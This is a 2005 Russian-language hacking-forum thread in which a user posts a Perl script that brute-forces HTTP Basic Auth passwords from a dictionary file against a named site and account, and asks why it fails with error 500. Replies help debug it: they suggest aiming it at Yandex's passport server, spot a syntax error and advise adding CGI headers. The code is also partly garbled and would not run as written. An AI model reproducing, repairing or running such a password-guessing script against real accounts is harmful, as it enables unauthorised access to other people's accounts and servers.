Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

07.11.2005, 23:03
|
|
Новичок
Регистрация: 04.10.2005
Сообщений: 10
Провел на форуме: 17092
Репутация:
2
|
|
Брутфорс на Perl
Прочитал на одном сайте статью "Брутфорс на Perl" . Попытался запустить ее на своем сервере, но сервер выдает ошиьку №500 . Причем изменял я только адрес ломаемого сайта и адрес файла с паролями.
Где ошибка ?
#!/usr/bin/perl
## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com
use MIME::Base64;
use IO::Socket;
use POSIX; ### Подрубаем модули POSIX, Socket и Base64
$server="www.bendertom.narod.ru"; ### Удаленный сервер
$port="80"; ### Удаленный порт
$dir=""; ### Запароленная директория
$logfile="rez.txt"; ### Логфайл, куда пишем пароль 
$log="stat.txt"; ### Логфайл, куда пишем статус (что происходит в данную минуту)
$words="dictionary.txt"; ### Словарь (файл с паролями)
$user="volo-igor"; ### Имя пользователя
open(file, "$words") or die print "$!\n";
@data=;
$total=@data;
close file; ### Записываем все пароли в один массив
$i=0;
foreach $pass (@data) {
$i++;
chomp($pass);
open(file, ">$log") or die print "$!\n";
$perc=($i*100)/$total;
$perc=ceil($perc); ### Высчитываем процент
print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус
close file;
$auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш
chomp($auth);
$socket=IO::Socket::INET->new( PeerAddr => $server,
PeerPort => $port,
Photo => tcp) ### Порождаем сокет
or die print "Unable to connect to $server:$port\n";
print $socket "GET $dir HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Referer: http://support.microsoft.com/\n";
print $socket "User-Agent: Internet Explorer 6.0\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Authorization: Basic $auth\n";
print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш
$ans=<$socket>; ### Получаем ответ от сервера
if ($ans=~/200 Ok/i) {
open(logf, ">>$logfile") or die print "$!\n"; ### Если пароль верный - пишем в success-лог
print logf "$user:$pass is OK!!!\n";
close logf;
exit 0; ### Выходим 
}
}
|
|
|

07.11.2005, 23:43
|
|
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме: 2263418
Репутация:
300
|
|
$server="www.bendertom.narod.ru"; ### Удаленный сервер
ты вписал адресс сайта , а надо адрес сервера; для яндекса - passport.yandex.ru
но на яндексе тебя забанят после нескольких попыток перебора ...
|
|
|

07.11.2005, 23:48
|
|
Новичок
Регистрация: 04.10.2005
Сообщений: 10
Провел на форуме: 17092
Репутация:
2
|
|
Сообщение от Майор
ты вписал адресс сайта , а надо адрес сервера; для яндекса - passport.yandex.ru
но на яндексе тебя забанят после нескольких попыток перебора ...
Пробовал и так. Та же ошибка .
|
|
|

08.11.2005, 12:20
|
|
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме: 2263418
Репутация:
300
|
|
Сообщение от Murz
Пробовал и так. Та же ошибка .
print $socket "Authorization: Basic $auth\n";
потому что yandex не использует поле Authorization: для идентификации .... я бы попровил, но perl не знаю вообще =(
Брут был изначально на какой сервер настроен ?
|
|
|

08.11.2005, 17:42
|
|
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
Провел на форуме: 5355463
Репутация:
2258
|
|
если ошибка 500 то ты октрываешь ее как страницу чтоль?
__________________
Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
|
|
|

08.11.2005, 18:47
|
|
Banned
Регистрация: 21.04.2005
Сообщений: 328
Провел на форуме: 632524
Репутация:
9
|
|
port="80"; ### Удаленный порт
$dir=""; ### Запароленная директория
Вот это интересно....
Это вообще брут не на мыло!
Во превых Порт стоит 80, и указании папки.
Это брут на папки!
|
|
|

08.11.2005, 19:11
|
|
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме: 6490435
Репутация:
2290
|
|
Ошибка, говоришь? Что, так и пишет: "Чувааак, там ниибаццо какая internal server ошибка!!"?
Хинт: что за ошибка - можно посмотреть в логах.
|
|
|

08.11.2005, 21:35
|
|
Постоянный
Регистрация: 20.01.2005
Сообщений: 899
Провел на форуме: 1535446
Репутация:
182
|
|
 )))))))))))))
Какая какая ошибка???
Монстер прав,нельзя этот скрипт запускать через www)))
Вопще насколько я помню перл,могу сказать что если ты через www открываешь страницу,то скрипт должен отправлять хидер,иначе 500 ошибка.
|
|
|

10.11.2005, 05:01
|
|
ВАША реклама ТУТ!!
Регистрация: 01.07.2005
Сообщений: 647
Провел на форуме: 3478464
Репутация:
714
|
|
Ща поглядим..
Давно с чем-то подобным сталкивался... Каждый в чем-то прав и каждый в чем-то неправ)
Этот скрипт МОЖНО запустить через WWW, т.е. открыть именно как страницу (конечно она будет динамической)).
Да, действительно, ошибка 500 выскакивает из-за ошибки в скрипте.
qBiN совершенно правильно сказал про хидеры в контексте ошибки 500.
Выводы от меня:
После строчек
PHP код:
#!/usr/bin/perl
## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com
вставляешь
PHP код:
print "Content-type: text/html\n\n";
print "It's WORK!!\n";
Если сам скрипт верен, то ошибка исчезнет.
nerezus совершенно правильно и справедливо подметил по поводу error.log 
Просто запустив твой скрипт на localhost интерпретатор выдал:
Код:
Syntax error at \\home\\12700~1.1\\cgi\\index.pl line 16, near "=;"\n
Execution of \\home\\12700~1.1\\cgi\\index.pl aborted due to compilation errors.\n
Это строчка
Но тут уже сами гадайте... )
Если кто-то сомневается в справедливости вышесказанного - Денвер в зубы и смотрите сами)
Все спасибо принимаю в форме повышения репутации.
__________________
My ICQ: 296@463@859 ONLY!! Please check your list!!
И здесь могла бы быть ВАША реклама!!!
Последний раз редактировалось Dronga; 10.11.2005 в 05:03..
|
|
|

10.11.2005, 07:42
|
|
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме: 6490435
Репутация:
2290
|
|
use MIME::Base64;
use IO::Socket;
use POSIX;
Денвер в зубы и смотрите сами)
а что из перечисленного есть в денвере? =)
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|